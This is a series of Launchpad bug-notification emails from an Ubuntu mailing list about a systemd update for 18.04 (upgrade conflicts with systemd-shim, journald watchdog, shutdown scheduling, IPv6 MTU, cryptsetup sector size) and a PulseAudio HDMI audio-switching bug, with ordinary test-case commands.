Re: [Touch-packages] [Bug 1773859] Re: upgrades to 18.04 fail

[Jacob Ngalya]

Ok, thanks.

On Thu, 10 Oct 2019 at 05:51, Launchpad Bug Tracker <
1773...@bugs.launchpad.net> wrote:

> This bug was fixed in the package systemd - 237-3ubuntu10.31
>
> ---
> systemd (237-3ubuntu10.31) bionic; urgency=medium
>
>   [ Dimitri John Ledkov ]
>   * Add conflicts with upstart and systemd-shim. (LP: #1773859)
>   * d/p/debian/UBUNTU-units-disable-journald-watchdog.patch
> - units: Disable journald Watchdog (LP: #1773148)
>   * d/p/cryptsetup-add-support-for-sector-size-option-8881.patch
> - cryptsetup: add support for sector-size= option (LP: #1776626)
>   * d/p/systemctl-correctly-proceed-to-immediate-shutdown-if-sche.patch
> - systemctl: correctly proceed to immediate shutdown if scheduling
> fails
>   (LP: #1670291)
>   * d/p/networkd-add-support-to-configure-IPv6-MTU-8664.patch
> - networkd: add support to set IPv6MTUBytes (LP: #1671951)
>
>  -- Balint Reczey   Mon, 30 Sep 2019 17:23:17 +0200
>
> ** Changed in: systemd (Ubuntu Bionic)
>Status: Fix Committed => Fix Released
>
> --
> You received this bug notification because you are subscribed to the bug
> report.
> https://bugs.launchpad.net/bugs/1773859
>
> Title:
>   upgrades to 18.04 fail
>
> Status in systemd package in Ubuntu:
>   Fix Released
> Status in systemd-shim package in Ubuntu:
>   Won't Fix
> Status in systemd source package in Bionic:
>   Fix Released
> Status in systemd-shim source package in Bionic:
>   Won't Fix
> Status in systemd source package in Cosmic:
>   Fix Released
> Status in systemd-shim source package in Cosmic:
>   Won't Fix
>
> Bug description:
>   [Impact]
>
>* Some systems fail to upgrade due to conflicts between systemd and
>   the (now removed from the archive) systemd-shim / upstart.
>
>* Instead of trying to work out what's the problem in ordering /
>   removal of diverts, ensure that systemd is never unpacked whilst
>   systemd-shim/upstart are still on disk. Thus declare conflicts against
>   systemd-shim/upstart packages in systemd package.
>
>   [Test Case]
>
>* monitor drop-off of upgrades with below reported problem
>
>* Check that it is possible to upgrade to bionic's libpam-systemd
>   from xenial with systemd-shim installed on xenial, ie.
>
>   lxc launch ubuntu-daily:xenial test-shim-upgrade
>   lxc exec test-shim-upgrade
>   apt update
>   apt install systemd-shim
>   wget
> https://deb.debian.org/debian/pool/main/s/systemd-shim/systemd-shim_10-3_amd64.deb
>   apt install ./systemd-shim_10-3_amd64.deb
>   sed 's/xenial/bionic/' -i /etc/apt/sources.list
>   apt update
>   apt install systemd
>
>   this currently passes, however, systemd-shim remains installed. It
>   should be removed instead. Apt install systemd should have lines like
>   this:
>
>   The following packages will be REMOVED:
> systemd-shim
>   ...
>   Removing 'diversion of
> /usr/share/dbus-1/system-services/org.freedesktop.systemd1.service to
> /usr/share/dbus-1/system-services/org.freedesktop.systemd1.service.systemd
> by systemd-shim'
>   ...
>
>
>   [Regression Potential]
>
>* systemd-shim/upstart are both removed and not supported in bionic,
>   thus forcing their removal via conflicts should bring the system into
>   an expected state.
>
>   [Other Info]
>
>* original bug report
>
>   $ sudo apt upgrade
>   Reading package lists... Done
>   Building dependency tree
>   Reading state information... Done
>   Calculating upgrade... Done
>   The following packages will be REMOVED:
> systemd-shim
>   0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded.
>   1 not fully installed or removed.
>   After this operation, 71.7 kB disk space will be freed.
>   Do you want to continue? [Y/n] y
>   (Reading database ... 63 files and directories currently installed.)
>   Removing systemd-shim (9-1bzr4ubuntu1) ...
>   Removing 'diversion of
> /usr/share/dbus-1/system-services/org.freedesktop.systemd1.service to
> /usr/share/dbus-1/system-services/org.freedesktop.systemd1.service.systemd
> by systemd-shim'
>   dpkg-divert: error: rename involves overwriting
> '/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service' with
> different file
> '/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service.systemd',
> not allowed
>   dpkg: error processing package systemd-shim (--remove):
>subprocess installed post-removal script returned error exit status 2
>   Errors were encountered while processing:
>systemd-shim
>   E: Sub-process /usr/bin/dpkg returned an error code (1)
>
>   Commenting out the dpkg-divert in systemd-shim's postrm solved this
>   for me and I was about to continue the upgrade.
>
> To manage notifications about this bug go to:
>
> https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1773859/+subscriptions
>

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd-shim in Ubuntu.
https://bugs.launchpad.net/bugs/1773859

Title:
  upgrades 

[Touch-packages] [Bug 1711101] Re: Audio doesn't auto switch away from HDMI after unplugging HDMI

[Daniel van Vugt]

** Changed in: pulseaudio (Ubuntu)
   Status: Triaged => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1711101

Title:
  Audio doesn't auto switch away from HDMI after unplugging HDMI

Status in PulseAudio:
  Fix Released
Status in pulseaudio package in Ubuntu:
  Fix Released

Bug description:
  
  Steps to reproduce

  * Attach an external HDMI/DP monitor to watch videos on an external display 
(TV)
  * In sound settings, send audio to HDMI out, rather than internal laptop audio
  * Play a video, to show audio is going over HDMI
  * Unplug HDMI/DP cable
   - Video switches to internal panel only as expected.

  Expected behaviour

  * Audio switches to internal sound card

  Actual behaviour

  * Audio does not auto switch

  Workaround

  * Go to sound settings panel every time, and click the internal sound
  card

  Video showing it: https://www.youtube.com/watch?v=UR3LP0INMeI

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: pulseaudio 1:10.0-2ubuntu2
  ProcVersionSignature: Ubuntu 4.11.0-13.19-generic 4.11.12
  Uname: Linux 4.11.0-13-generic x86_64
  ApportVersion: 2.20.6-0ubuntu5
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  alan   1568 F pulseaudio
   /dev/snd/controlC1:  alan   1568 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Wed Aug 16 11:11:45 2017
  InstallationDate: Installed on 2017-08-02 (13 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Alpha amd64 (20170712)
  SourcePackage: pulseaudio
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 01/27/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: JBET56WW (1.21 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 20BV001BUK
  dmi.board.vendor: LENOVO
  dmi.board.version: 0B98417 WIN
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: None
  dmi.modalias: 
dmi:bvnLENOVO:bvrJBET56WW(1.21):bd01/27/2016:svnLENOVO:pn20BV001BUK:pvrThinkPadT450:rvnLENOVO:rn20BV001BUK:rvr0B98417WIN:cvnLENOVO:ct10:cvrNone:
  dmi.product.name: 20BV001BUK
  dmi.product.version: ThinkPad T450
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/pulseaudio/+bug/1711101/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1711101] Re: Audio doesn't auto switch away from HDMI after unplugging HDMI

[Bug Watch Updater]

** Changed in: pulseaudio
   Status: Unknown => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1711101

Title:
  Audio doesn't auto switch away from HDMI after unplugging HDMI

Status in PulseAudio:
  Fix Released
Status in pulseaudio package in Ubuntu:
  Triaged

Bug description:
  
  Steps to reproduce

  * Attach an external HDMI/DP monitor to watch videos on an external display 
(TV)
  * In sound settings, send audio to HDMI out, rather than internal laptop audio
  * Play a video, to show audio is going over HDMI
  * Unplug HDMI/DP cable
   - Video switches to internal panel only as expected.

  Expected behaviour

  * Audio switches to internal sound card

  Actual behaviour

  * Audio does not auto switch

  Workaround

  * Go to sound settings panel every time, and click the internal sound
  card

  Video showing it: https://www.youtube.com/watch?v=UR3LP0INMeI

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: pulseaudio 1:10.0-2ubuntu2
  ProcVersionSignature: Ubuntu 4.11.0-13.19-generic 4.11.12
  Uname: Linux 4.11.0-13-generic x86_64
  ApportVersion: 2.20.6-0ubuntu5
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  alan   1568 F pulseaudio
   /dev/snd/controlC1:  alan   1568 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Wed Aug 16 11:11:45 2017
  InstallationDate: Installed on 2017-08-02 (13 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Alpha amd64 (20170712)
  SourcePackage: pulseaudio
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 01/27/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: JBET56WW (1.21 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 20BV001BUK
  dmi.board.vendor: LENOVO
  dmi.board.version: 0B98417 WIN
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: None
  dmi.modalias: 
dmi:bvnLENOVO:bvrJBET56WW(1.21):bd01/27/2016:svnLENOVO:pn20BV001BUK:pvrThinkPadT450:rvnLENOVO:rn20BV001BUK:rvr0B98417WIN:cvnLENOVO:ct10:cvrNone:
  dmi.product.name: 20BV001BUK
  dmi.product.version: ThinkPad T450
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/pulseaudio/+bug/1711101/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1773148] Re: /lib/systemd/systemd-journald:6:fsync:fsync_directory_of_file:journal_file_rotate:do_rotate:server_rotate

[Launchpad Bug Tracker]

This bug was fixed in the package systemd - 237-3ubuntu10.31

---
systemd (237-3ubuntu10.31) bionic; urgency=medium

  [ Dimitri John Ledkov ]
  * Add conflicts with upstart and systemd-shim. (LP: #1773859)
  * d/p/debian/UBUNTU-units-disable-journald-watchdog.patch
- units: Disable journald Watchdog (LP: #1773148)
  * d/p/cryptsetup-add-support-for-sector-size-option-8881.patch
- cryptsetup: add support for sector-size= option (LP: #1776626)
  * d/p/systemctl-correctly-proceed-to-immediate-shutdown-if-sche.patch
- systemctl: correctly proceed to immediate shutdown if scheduling fails
  (LP: #1670291)
  * d/p/networkd-add-support-to-configure-IPv6-MTU-8664.patch
- networkd: add support to set IPv6MTUBytes (LP: #1671951)

 -- Balint Reczey   Mon, 30 Sep 2019 17:23:17 +0200

** Changed in: systemd (Ubuntu Bionic)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1773148

Title:
  /lib/systemd/systemd-
  
journald:6:fsync:fsync_directory_of_file:journal_file_rotate:do_rotate:server_rotate

Status in systemd:
  New
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Xenial:
  Fix Released
Status in systemd source package in Bionic:
  Fix Released
Status in systemd source package in Cosmic:
  Fix Released

Bug description:
  [Impact]

   * systemd aborts journald, upon watchdog expiry and generates lots of crash 
reports
   * it appears that journald is simply stuck in fsync
   * it has been agreed to disable watchdog timer on journald

  [Test Case]

   * watch drop-off of errors w.r.t. watchdog timer

  [Regression Potential]

   * Potentially journald does get stuck, and thus is no longer
  automatically restarted with a sigabrt crash. However, so far, it is
  not known to do that.

  
  [Other Info]
   
   * Original bug report

  The Ubuntu Error Tracker has been receiving reports about a problem regarding 
systemd.  This problem was most recently seen with package version 
237-3ubuntu10, the problem page at 
https://errors.ubuntu.com/problem/ff29f7ff39be0e227f0187ad72e5d458e95f6fcf 
contains more details, including versions of packages affected, stacktrace or 
traceback, and individual crash reports.
  If you do not have access to the Ubuntu Error Tracker and are a software 
developer, you can request it at http://forms.canonical.com/reports/.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1773148/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1773859] Re: upgrades to 18.04 fail

[Launchpad Bug Tracker]

This bug was fixed in the package systemd - 237-3ubuntu10.31

---
systemd (237-3ubuntu10.31) bionic; urgency=medium

  [ Dimitri John Ledkov ]
  * Add conflicts with upstart and systemd-shim. (LP: #1773859)
  * d/p/debian/UBUNTU-units-disable-journald-watchdog.patch
- units: Disable journald Watchdog (LP: #1773148)
  * d/p/cryptsetup-add-support-for-sector-size-option-8881.patch
- cryptsetup: add support for sector-size= option (LP: #1776626)
  * d/p/systemctl-correctly-proceed-to-immediate-shutdown-if-sche.patch
- systemctl: correctly proceed to immediate shutdown if scheduling fails
  (LP: #1670291)
  * d/p/networkd-add-support-to-configure-IPv6-MTU-8664.patch
- networkd: add support to set IPv6MTUBytes (LP: #1671951)

 -- Balint Reczey   Mon, 30 Sep 2019 17:23:17 +0200

** Changed in: systemd (Ubuntu Bionic)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd-shim in Ubuntu.
https://bugs.launchpad.net/bugs/1773859

Title:
  upgrades to 18.04 fail

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd-shim package in Ubuntu:
  Won't Fix
Status in systemd source package in Bionic:
  Fix Released
Status in systemd-shim source package in Bionic:
  Won't Fix
Status in systemd source package in Cosmic:
  Fix Released
Status in systemd-shim source package in Cosmic:
  Won't Fix

Bug description:
  [Impact]

   * Some systems fail to upgrade due to conflicts between systemd and
  the (now removed from the archive) systemd-shim / upstart.

   * Instead of trying to work out what's the problem in ordering /
  removal of diverts, ensure that systemd is never unpacked whilst
  systemd-shim/upstart are still on disk. Thus declare conflicts against
  systemd-shim/upstart packages in systemd package.

  [Test Case]

   * monitor drop-off of upgrades with below reported problem

   * Check that it is possible to upgrade to bionic's libpam-systemd
  from xenial with systemd-shim installed on xenial, ie.

  lxc launch ubuntu-daily:xenial test-shim-upgrade
  lxc exec test-shim-upgrade
  apt update
  apt install systemd-shim
  wget 
https://deb.debian.org/debian/pool/main/s/systemd-shim/systemd-shim_10-3_amd64.deb
  apt install ./systemd-shim_10-3_amd64.deb 
  sed 's/xenial/bionic/' -i /etc/apt/sources.list
  apt update
  apt install systemd

  this currently passes, however, systemd-shim remains installed. It
  should be removed instead. Apt install systemd should have lines like
  this:

  The following packages will be REMOVED:
systemd-shim
  ...
  Removing 'diversion of 
/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service to 
/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service.systemd by 
systemd-shim'
  ...

  
  [Regression Potential]

   * systemd-shim/upstart are both removed and not supported in bionic,
  thus forcing their removal via conflicts should bring the system into
  an expected state.

  [Other Info]

   * original bug report

  $ sudo apt upgrade
  Reading package lists... Done
  Building dependency tree
  Reading state information... Done
  Calculating upgrade... Done
  The following packages will be REMOVED:
    systemd-shim
  0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded.
  1 not fully installed or removed.
  After this operation, 71.7 kB disk space will be freed.
  Do you want to continue? [Y/n] y
  (Reading database ... 63 files and directories currently installed.)
  Removing systemd-shim (9-1bzr4ubuntu1) ...
  Removing 'diversion of 
/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service to 
/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service.systemd by 
systemd-shim'
  dpkg-divert: error: rename involves overwriting 
'/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service' with
    different file 
'/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service.systemd', 
not allowed
  dpkg: error processing package systemd-shim (--remove):
   subprocess installed post-removal script returned error exit status 2
  Errors were encountered while processing:
   systemd-shim
  E: Sub-process /usr/bin/dpkg returned an error code (1)

  Commenting out the dpkg-divert in systemd-shim's postrm solved this
  for me and I was about to continue the upgrade.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1773859/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1773859] Update Released

[Brian Murray]

The verification of the Stable Release Update for systemd has completed
successfully and the package is now being released to -updates.
Subsequently, the Ubuntu Stable Release Updates Team is being
unsubscribed and will not receive messages about this bug report.  In
the event that you encounter a regression using the package from
-updates please report a new bug using ubuntu-bug and tag the bug report
regression-update so we can easily find any regressions.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd-shim in Ubuntu.
https://bugs.launchpad.net/bugs/1773859

Title:
  upgrades to 18.04 fail

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd-shim package in Ubuntu:
  Won't Fix
Status in systemd source package in Bionic:
  Fix Released
Status in systemd-shim source package in Bionic:
  Won't Fix
Status in systemd source package in Cosmic:
  Fix Released
Status in systemd-shim source package in Cosmic:
  Won't Fix

Bug description:
  [Impact]

   * Some systems fail to upgrade due to conflicts between systemd and
  the (now removed from the archive) systemd-shim / upstart.

   * Instead of trying to work out what's the problem in ordering /
  removal of diverts, ensure that systemd is never unpacked whilst
  systemd-shim/upstart are still on disk. Thus declare conflicts against
  systemd-shim/upstart packages in systemd package.

  [Test Case]

   * monitor drop-off of upgrades with below reported problem

   * Check that it is possible to upgrade to bionic's libpam-systemd
  from xenial with systemd-shim installed on xenial, ie.

  lxc launch ubuntu-daily:xenial test-shim-upgrade
  lxc exec test-shim-upgrade
  apt update
  apt install systemd-shim
  wget 
https://deb.debian.org/debian/pool/main/s/systemd-shim/systemd-shim_10-3_amd64.deb
  apt install ./systemd-shim_10-3_amd64.deb 
  sed 's/xenial/bionic/' -i /etc/apt/sources.list
  apt update
  apt install systemd

  this currently passes, however, systemd-shim remains installed. It
  should be removed instead. Apt install systemd should have lines like
  this:

  The following packages will be REMOVED:
systemd-shim
  ...
  Removing 'diversion of 
/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service to 
/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service.systemd by 
systemd-shim'
  ...

  
  [Regression Potential]

   * systemd-shim/upstart are both removed and not supported in bionic,
  thus forcing their removal via conflicts should bring the system into
  an expected state.

  [Other Info]

   * original bug report

  $ sudo apt upgrade
  Reading package lists... Done
  Building dependency tree
  Reading state information... Done
  Calculating upgrade... Done
  The following packages will be REMOVED:
    systemd-shim
  0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded.
  1 not fully installed or removed.
  After this operation, 71.7 kB disk space will be freed.
  Do you want to continue? [Y/n] y
  (Reading database ... 63 files and directories currently installed.)
  Removing systemd-shim (9-1bzr4ubuntu1) ...
  Removing 'diversion of 
/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service to 
/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service.systemd by 
systemd-shim'
  dpkg-divert: error: rename involves overwriting 
'/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service' with
    different file 
'/usr/share/dbus-1/system-services/org.freedesktop.systemd1.service.systemd', 
not allowed
  dpkg: error processing package systemd-shim (--remove):
   subprocess installed post-removal script returned error exit status 2
  Errors were encountered while processing:
   systemd-shim
  E: Sub-process /usr/bin/dpkg returned an error code (1)

  Commenting out the dpkg-divert in systemd-shim's postrm solved this
  for me and I was about to continue the upgrade.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1773859/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1670291] Re: Landscape: Upgrade 14.04.5 to 16.04.2 fails unable to reboot

[Launchpad Bug Tracker]

This bug was fixed in the package systemd - 237-3ubuntu10.31

---
systemd (237-3ubuntu10.31) bionic; urgency=medium

  [ Dimitri John Ledkov ]
  * Add conflicts with upstart and systemd-shim. (LP: #1773859)
  * d/p/debian/UBUNTU-units-disable-journald-watchdog.patch
- units: Disable journald Watchdog (LP: #1773148)
  * d/p/cryptsetup-add-support-for-sector-size-option-8881.patch
- cryptsetup: add support for sector-size= option (LP: #1776626)
  * d/p/systemctl-correctly-proceed-to-immediate-shutdown-if-sche.patch
- systemctl: correctly proceed to immediate shutdown if scheduling fails
  (LP: #1670291)
  * d/p/networkd-add-support-to-configure-IPv6-MTU-8664.patch
- networkd: add support to set IPv6MTUBytes (LP: #1671951)

 -- Balint Reczey   Mon, 30 Sep 2019 17:23:17 +0200

** Changed in: systemd (Ubuntu Bionic)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1670291

Title:
  Landscape: Upgrade 14.04.5 to 16.04.2 fails unable to reboot

Status in landscape-client package in Ubuntu:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in landscape-client source package in Trusty:
  Fix Released
Status in systemd source package in Trusty:
  New
Status in landscape-client source package in Xenial:
  Fix Released
Status in systemd source package in Xenial:
  Fix Released
Status in landscape-client source package in Bionic:
  Fix Released
Status in systemd source package in Bionic:
  Fix Released
Status in landscape-client source package in Cosmic:
  Fix Released
Status in systemd source package in Cosmic:
  Fix Released

Bug description:
  https://github.com/systemd/systemd/pull/10061

  [Impact]

   * When logind is not available, shutdown command fails to schedule a
  shutdown, and despite its intentions to immediately shutdown, does not
  do so.

  [Test Case]

sudo systemctl mask systemd-logind.service
sudo systemctl stop systemd-logind.service
shutdown +1

  The expectation is that system goes to shutdown.

  It is buggy if the system remains up - i.e. command returns to shell
  with exit code 1.

  [Regression Potential]

   * It is a corner case to run against systemd-shim logind / or logind
  not otherwise available. The function still performs a clean-shutdown,
  and should not cause loss of work.

  [Other Info]
   
   * Original bug report, running against systemd-shim/systemd-service post 
trusty->xenial upgrade, pre-reboot.

  
  Used Landscape (Paid Canonical Subscription) to upgrade one of my machines.

  Landscape only shows "In Progress" for more than 8 hours now and asked
  for a reboot of the machine in a second alert.

  In the reboot attempt I get the message:
  =
  Failed to set wall message, ignoring: Method "SetWallMessage" with signature 
"sb" on interface "org.freedesktop.login1.Manager" doesn't exist
  Failed to call ScheduleShutdown in logind, proceeding with immediate 
shutdown: Method "ScheduleShutdown" with signature "st" on interface 
"org.freedesktop.login1.Manager" doesn't exist
  =

  Steps to reproduce:
  * Fully updated 14.04.5 machine
  * Open Landscape
  * Choose the machine
  * Choose Packages
  * This computer can be upgraded to a newer release
  * Apply
  * Wait 2 hours
  * Alert comes in a seperate Landscape message Machine is ready for reboot
  * Choose Info... Power
  * Deliver to selected computers as soon as possible
  * Error message

  I found this thread on reddit about this issue maybe the solution can be 
built into the upgrade script
  
https://www.reddit.com/r/linuxquestions/comments/4wy3go/trying_to_run_as_user_instance_but_the_system_has/

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/landscape-client/+bug/1670291/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1671951] Re: networkd should allow configuring IPV6 MTU

[Launchpad Bug Tracker]

This bug was fixed in the package systemd - 237-3ubuntu10.31

---
systemd (237-3ubuntu10.31) bionic; urgency=medium

  [ Dimitri John Ledkov ]
  * Add conflicts with upstart and systemd-shim. (LP: #1773859)
  * d/p/debian/UBUNTU-units-disable-journald-watchdog.patch
- units: Disable journald Watchdog (LP: #1773148)
  * d/p/cryptsetup-add-support-for-sector-size-option-8881.patch
- cryptsetup: add support for sector-size= option (LP: #1776626)
  * d/p/systemctl-correctly-proceed-to-immediate-shutdown-if-sche.patch
- systemctl: correctly proceed to immediate shutdown if scheduling fails
  (LP: #1670291)
  * d/p/networkd-add-support-to-configure-IPv6-MTU-8664.patch
- networkd: add support to set IPv6MTUBytes (LP: #1671951)

 -- Balint Reczey   Mon, 30 Sep 2019 17:23:17 +0200

** Changed in: systemd (Ubuntu Bionic)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1671951

Title:
  networkd should allow configuring IPV6 MTU

Status in cloud-init package in Ubuntu:
  Confirmed
Status in netplan.io package in Ubuntu:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in cloud-init source package in Bionic:
  Confirmed
Status in netplan.io source package in Bionic:
  Fix Released
Status in systemd source package in Bionic:
  Fix Released
Status in cloud-init source package in Disco:
  New
Status in netplan.io source package in Disco:
  Fix Released
Status in systemd source package in Disco:
  New

Bug description:
  = netplan.io =

  [Impact]

   * IPv6 traffic failing to send/receive due to incompatible/low MTU
  setting. Specifically, IPv6 traffic may have higher MTU requirements
  than IPv4 traffic and thus may need to be overridden and/or set to a
  higher value than IPv6 traffic.

  [Test Case]
   * Apply a netplan configuration that specifices ipv6-mtu:

  network:
version: 2
ethernets:
  eth0:
dhcp4: true
dhcp6: true
ipv6-mtu: 6000

   * Check that MTU bytes, is at least IPv6MTUBytes on the interface:

  $ sysctl net.ipv6.conf.eth0.mtu
  net.ipv6.conf.eth0.mtu = 6000

  [Regression Potential]

   * This is a future compatible backport of an additional keyword not
  used by default. It may result in MTU change to a higher value, which
  should not cause loss of connectivity.

  [Other Info]

   * Original bug report below

  = end of netplan.io =

  = systemd =

  [Impact]

   * IPv6 traffic failing to send/receive due to incompatible/low MTU
  setting. Specifically, IPv6 traffic may have higher MTU requirements
  than IPv4 traffic and thus may need to be overridden and/or set to a
  higher value than IPv6 traffic.

  [Test Case]

   * Use IPv6MTUBytes= setting in a .network unit
   * Restart systemd-network
   * Check that there no error messages / warnings about not-recognizing this 
option
   * Check that MTU bytes, is at least IPv6MTUBytes on the interface

  [Regression Potential]

   * This is a future compatible backport of an additional keyword not
  used by default. It may result in MTU change to a higher value, which
  should not cause loss of connectivity.

  [Other Info]

   * Original bug report below

  = end of systemd =

  1) Zesty
  2) systemd-232-19
  3) I need to configure the IPV6 MTU for tunneling by adding an 
IPv6MTUBytes=1480 value in the .network file for an interface with an IPV6 
static address in the [Network] section
  4) networkd does not parse or read the value and does not apply this 
configuration to the interface.

  Upstream has discussed this issue here:

  https://github.com/systemd/systemd/pull/1533

  But it's been closed in favor of only setting via RA.

  However, we know of multiple use-case which are currently supported in
  ifdupdown where we want to retain control over IPV6 MTU values outside
  of PMTU Discovery configurations.

  Some context from those discussions

  >> Client systems that route their ipv6 packets to a 6in4 router also
  >> have to have their ipv6 mtu lowered.  They could lower their link mtu,
  >> so their ipv6 packets are small enough, but that reduces performance
  >> of their ipv4 network.

  Yes.  Anything that creates a PMTUD black hole can result in
  situations where the higher header overhead of IPv6 will cause IPv4 to
  pass but IPv6 traffic to be dropped.

  One example here is egress from an ipsec tunnel wherein the next
  hop MTU is too low for IPv6 datagrams to pass.  Another is VM ->
  whatever -> host bridge -> tunnel ingress.  If the datagram cannot enter
  the tunnel due to size, it is dropped, and an ICMP response uses the
  tunnel address as a source, which may not be routable back to the
  origin.  This one is an issue with IPv4 as well, and is one case where
  manually setting the IPv6 MTU lower than the (also manually set) device
  MTU is of benefit.

 

[Touch-packages] [Bug 1776626] Re: [18.10 FEAT] Support 4k sectors for fast clear key dm-crypt - crypttab part

[Launchpad Bug Tracker]

This bug was fixed in the package systemd - 237-3ubuntu10.31

---
systemd (237-3ubuntu10.31) bionic; urgency=medium

  [ Dimitri John Ledkov ]
  * Add conflicts with upstart and systemd-shim. (LP: #1773859)
  * d/p/debian/UBUNTU-units-disable-journald-watchdog.patch
- units: Disable journald Watchdog (LP: #1773148)
  * d/p/cryptsetup-add-support-for-sector-size-option-8881.patch
- cryptsetup: add support for sector-size= option (LP: #1776626)
  * d/p/systemctl-correctly-proceed-to-immediate-shutdown-if-sche.patch
- systemctl: correctly proceed to immediate shutdown if scheduling fails
  (LP: #1670291)
  * d/p/networkd-add-support-to-configure-IPv6-MTU-8664.patch
- networkd: add support to set IPv6MTUBytes (LP: #1671951)

 -- Balint Reczey   Mon, 30 Sep 2019 17:23:17 +0200

** Changed in: systemd (Ubuntu Bionic)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1776626

Title:
  [18.10 FEAT] Support 4k sectors for fast clear key dm-crypt - crypttab
  part

Status in Ubuntu on IBM z Systems:
  Fix Released
Status in cryptsetup package in Ubuntu:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in cryptsetup source package in Bionic:
  Won't Fix
Status in systemd source package in Bionic:
  Fix Released

Bug description:
  [Impact]

   * cryptsetup in bionic supports creating luks volumes with a non-
  standard sector-size option, and thus this option also needs to be
  used when activating the LUKS volumes. Add sector-size= option support
  to /etc/crypttab.

  [Test Case]

   * Create a plain LUKS volume with sector-size 4096
   * Specify sector-size=4096 option in /etc/crypttab
   * reload systemd, start systemd-cryptsetup@.service for that volume
   * check the journal, to ensure that `sector-size` option was recognized and 
is active. (i.e. there is not error messages about unrecognized option 
`sector-size` from systemd-cryptsetup)

  [Regression Potential]

